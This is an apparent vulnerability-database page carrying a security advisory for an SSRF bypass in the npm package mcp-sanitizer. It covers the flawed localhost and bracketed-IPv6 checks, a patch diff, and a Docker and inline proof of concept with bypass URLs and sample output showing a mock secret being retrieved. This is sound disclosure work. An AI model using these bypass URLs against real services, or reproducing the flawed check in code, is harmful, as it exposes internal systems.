mcp-sanitizer: URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6
GHSA-4mfg-r38w-w8fg · published 28 Oct 2026
How serious is it
- Severity: high, CVSS score 8.2 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by GHSA-4mfg-r38w-w8fg?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
mcp-sanitizer(npm) < 1.4.0
How to check
- Run
npm ls mcp-sanitizerin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
- Or run
npx shippable-dev scan localhost:3000in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
mcp-sanitizerto 1.4.0 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
## URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6
### Summary
`mcp-sanitizer` v1.3.3 fails to block Server-Side Request Forgery (SSRF) targets when a `localhost` URL includes an explicit port (e.g., `http://localhost:8080/`) or when an IPv6 loopback/link-local address is expressed in bracketed notation (e.g., `http://[::1]:8080/`, `http://[fe80::1]:8080/`). Because the library is explicitly designed to gate MCP tool parameters such as `web_fetch` and `web_scraper` before outbound HTTP requests are made, a bypass here directly enables an attacker-controlled URL to reach internal services, leaking their responses.
### Details
The vulnerability exists in `src/utils/validation-utils.js` inside the `validateURLLocation()` function that is called by `_secureSanitizeURL()` in `src/sanitizer/mcp-sanitizer.js:698`.
**Bug 1 — Port-guarded localhost check (line 274–276):**
```js
// src/utils/validation-utils.js:274-276
if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) {
throw new Error('URL points to localhost without explicit port');
}
```
The `&& !parsedUrl.port` guard means that any localhost URL that includes a port number is *not* thrown. `http://localhost:8080/` passes the check entirely, returning `blocked: false` with the original URL preserved.
**Bug 2 — Bracketed IPv6 hostname mismatch (lines 272, 293–295):**
```js
// src/utils/validation-utils.js:293-295
if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) {
throw new Error(`URL points to link-local address: ${hostname}`);
}
```
The Node.js `URL` API returns `parsedUrl.hostname` for IPv6 addresses *with* surrounding brackets: `[::1]`, `[fe80::1]`. The string comparison `hostname === '::1'` (line 274) and `hostname.startsWith('fe80:')` (line 293) therefore never match, because the actual string starts with `[`.
**Data flow through the middleware:**
1. `src/middleware/express.js:499` — tool name derived from `req.params.toolName || req.body?.tool_name`.
2. `src/middleware/express.js:548-554` — `web_scraper`/`web_fetch` `params.url` forwarded to `sanitizer.sanitize(url, { type: 'url' })`.
3. `src/sanitizer/mcp-sanitizer.js:527-528` — context type `url` routes to `_secureSanitizeURL()`.
4. `src/sanitizer/mcp-sanitizer.js:698-700` — `validateURLLocation(parsedUrl)` called; on success, `parsedUrl.toString()` returned to caller as the sanitized, trusted URL.
Both bugs are in the default code path; no special configuration is required to trigger them.
**Suggested patch:**
```diff
--- a/src/utils/validation-utils.js
+++ b/src/utils/validation-utils.js
@@ const { URL } = require('url');
+const net = require('net');
@@
- const hostname = parsedUrl.hostname.toLowerCase();
+ const hostname = parsedUrl.hostname.toLowerCase().replace(/^\[|\]$/g, '').replace(/\.$/, '');
@@
- if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) {
- throw new Error('URL points to localhost without explicit port');
+ if (hostname === 'localhost' || hostname.endsWith('.localhost') || hostname === '::1') {
+ throw new Error('URL points to localhost or loopback');
}
@@
- if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) {
+ if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:') ||
+ hostname.startsWith('fc') || hostname.startsWith('fd')) {
throw new Error(`URL points to link-local address: ${hostname}`);
}
+
+ if (net.isIP(hostname) === 6 && (hostname === '::1' || hostname.startsWith('fe80:'))) {
+ throw new Error(`URL points to restricted IPv6 address: ${hostname}`);
+ }
```
### PoC
**Prerequisites:** Docker installed; no other dependencies required.
**1. Build the Docker image:**
```bash
docker build \
-f vuln-001/Dockerfile \
-t vuln-001-mcp-sanitizer \
reports/npmAI_754_starman69__mcp-sanitizer
```
**2. Run the PoC:**
```bash
docker run --rm vuln-001-mcp-sanitizer
```
The `poc.py` script inside the image:
- Starts a mock internal HTTP service on `127.0.0.1:8080` serving the string `INTERNAL_SECRET_DATA_9f3a2b1c`.
- Calls `sanitizer.sanitize(url, { type: 'url' })` via Node.js for five URLs (two expected-blocked, three bypass candidates).
- Performs an actual `GET http://localhost:8080/` using the sanitizer-approved URL and confirms the secret is returned.
**Expected output (abbreviated):**
```
[BYPASS_CONFIRMED] http://localhost:8080/ blocked=False sanitized=http://localhost:8080/
[BYPASS_CONFIRMED] http://[::1]:8080/ blocked=False sanitized=http://[::1]:8080/
[BYPASS_CONFIRMED] http://[fe80::1]:8080/ blocked=False sanitized=http://[fe80::1]:8080/
[SSRF HTTP 200] GET http://localhost:8080/ => 'INTERNAL_SECRET_DATA_9f3a2b1c\npath=/'
[!!!] INTERNAL SECRET EXFILTRATED: INTERNAL_SECRET_DATA_9f3a2b1c
RESULT: PASS - SSRF bypass fully demonstrated end-to-end
```
Baseline controls confirm the library *does* block `http://localhost/` and `http://127.0.0.1/` (`blocked: true`), proving the bypasses are not a general failure but a precise gap in the validation logic.
**Minimal inline repro (no Docker):**
```bash
# Inside the mcp-sanitizer repository root (npm ci first)
node - <<'NODE'
const MCPSanitizer = require('./src/sanitizer/mcp-sanitizer');
const sanitizer = new MCPSanitizer();
for (const url of [
'http://localhost:8080/',
'http://[::1]:8080/',
'http://[fe80::1]:8080/'
]) {
const r = sanitizer.sanitize(url, { type: 'url' });
console.log(url, '=> blocked=', r.blocked, 'sanitized=', r.sanitized);
}
NODE
```
### Impact
This is a **Server-Side Request Forgery (SSRF)** vulnerability. Any application that:
1. Uses `mcp-sanitizer`'s `sanitize()` / `createMCPToolMiddleware()` as the security boundary for outbound URLs, **and**
2. Passes the returned sanitized URL to an HTTP client (the library's documented intended use for `web_fetch`/`web_scraper` MCP tools),
is exploitable by any party that can supply …
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/starman69/mcp-sanitizer/security/advisories/GHSA-4mfg-r38w-w8fg
- github.com/starman69/mcp-sanitizer/commit/200685889b073f7470859b0941b67b7f46255f09
- github.com/starman69/mcp-sanitizer/releases/tag/v1.4.0
- github.com/advisories/GHSA-4mfg-r38w-w8fg
- github.com/starman69/mcp-sanitizer
Merged from GitHub Advisory Database, OSV. Last updated 29 Oct 2026. All vulnerabilities · RSS · JSON